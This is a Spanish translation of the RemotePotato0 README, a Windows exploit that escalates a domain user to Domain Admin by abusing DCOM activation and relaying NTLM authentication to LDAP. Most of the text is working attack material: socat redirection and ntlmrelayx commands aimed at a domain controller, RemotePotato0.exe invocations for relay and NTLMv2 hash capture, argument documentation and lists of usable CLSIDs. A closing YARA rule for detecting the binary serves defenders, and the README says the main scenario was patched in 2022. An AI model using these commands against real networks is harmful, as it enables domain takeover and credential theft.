
Escalada de privilegios en Windows de usuario a administrador de dominio.
ACTUALIZACIÓN 21-10-2022: El escenario principal del exploit RPC->LDAP de RemotePotato0 ha sido corregido. Más detalles en --> https://twitter.com/splinter_code/status/1583555613950255104
Solo otra escalada de privilegios de Windows "No se corregirá" de Usuario a Administrador de Dominio.
RemotePotato0 es un exploit que permite escalar tus privilegios de un Usuario genérico a Administrador de Dominio.
Brevemente:
Abusa del servicio de activación DCOM y desencadena una autenticación NTLM de cualquier usuario que haya iniciado sesión en la máquina objetivo. Se requiere que un usuario privilegiado haya iniciado sesión en la misma máquina (por ejemplo, un usuario Administrador de Dominio). Una vez que se desencadena el NTLM tipo 1, configuramos un servidor de retransmisión entre protocolos que recibe el mensaje tipo 1 privilegiado y lo retransmite a un tercer recurso desempaquetando el protocolo RPC y empaquetando la autenticación sobre HTTP. En el extremo receptor, puedes configurar un nodo de retransmisión adicional (por ejemplo, ntlmrelayx) o retransmitir directamente a un recurso privilegiado. RemotePotato0 también permite capturar y robar hashes NTLMv2 de todos los usuarios que han iniciado sesión en una máquina.
Máquina atacante (10.0.0.20)
Máquina víctima (10.0.0.45)
Controlador de dominio víctima (10.0.0.10)
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.0.0.45:9999 &
sudo ntlmrelayx.py -t ldap://10.0.0.10 --no-wcf-server --escalate-user normal_user
Nota: si estás en Windows Server <= 2016 puedes evitar el redireccionador de red (socat) porque la resolución oxid se puede realizar localmente.
query user
.\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1
.\RemotePotato0.exe -m 1 -l 9997 -r 10.0.0.20
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
query user
.\RemotePotato0.exe -m 2 -s 1
.\RemotePotato0.exe -m 3 -l 9997
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm
RemotePotato0
@splinter_code & @decoder_it
Argumentos obligatorios:
-m módulo
Valores permitidos:
0 - Servidor de retransmisión entre protocolos Rpc2Http + activación potato (predeterminado)
1 - Servidor de retransmisión entre protocolos Rpc2Http
2 - Servidor de captura (hash) RPC + activación potato
3 - Servidor de captura (hash) RPC
Otros argumentos: (algunos pueden ser obligatorios y/u opcionales según el módulo que uses)
-r Dirección IP del servidor de retransmisión HTTP remoto
-t Puerto del servidor de retransmisión HTTP remoto (Predeterminado 80)
-x Dirección IP del Resolvedor Oxid Rogue (predeterminado 127.0.0.1)
-p Puerto del Resolvedor Oxid Rogue (predeterminado 9999)
-l Puerto de escucha del servidor de retransmisión RPC (Predeterminado 9997)
-s Id de sesión para el ataque de Activación de Sesión Cruzada (predeterminado deshabilitado)
-c CLSID (Predeterminado {5167B42F-C111-47A1-ACC4-8EABE61B0B54})
Una lista de CLSID utilizables en varias versiones de Windows:
Windows Server 2019
{0002DF02-0000-0000-C000-000000000046} - BrowserBroker Class
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4} - AuthBrokerUI
{5167B42F-C111-47A1-ACC4-8EABE61B0B54} - Easconsent.dll
{924DC564-16A6-42EB-929A-9A61FA7DA06F} - Interfaz de autenticación CredUI Helper fuera de proceso para clientes no AppContainer
{934b410c-43e4-415e-9935-fbc081ba93a9} - UserInfoDialog
{BA441419-0B3F-4FB6-A903-D16CC14CCA44} - CLSID_LockScreenContentionFlyout
{c58ca859-80bc-48df-8f06-ffa94a405bff} - Picker Host
{f65817c8-dd85-4136-89f0-b9d12939f2c4} - IsolatedMessageDialogFactory
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} - Clase SPPUIObjectInteractive
{f8842f8e-dafe-4b37-9d38-4e0714a61149} - CastServerInteractiveUser
Windows Server 2016
{924DC564-16A6-42EB-929A-9A61FA7DA06F}
{f65817c8-dd85-4136-89f0-b9d12939f2c4}
{BA441419-0B3F-4FB6-A903-D16CC14CCA44}
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4}
{934b410c-43e4-415e-9935-fbc081ba93a9}
{f8842f8e-dafe-4b37-9d38-4e0714a61149}
{0002DF02-0000-0000-C000-000000000046}
{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
{c58ca859-80bc-48df-8f06-ffa94a405bff}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
Windows Server 2008 R2
{FCC74B77-EC3E-4dd8-A80B-008A702075A9}
{9BA05972-F6A8-11CF-A442-00A0C90A8F39}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
Puedes encontrar una lista más completa aquí --> http://ohpe.it/juicy-potato/CLSID/
Regla Yara para detectar el binario RemotePotato0:
rule SentinelOne_RemotePotato0_privesc {
meta:
author = "SentinelOne"
description = "Detects RemotePotato0 binary"
reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
strings:
$import1 = "CoGetInstanceFromIStorage"
$istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
$meow_header = { 4d 45 4f 57 }
$clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
condition:
(uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}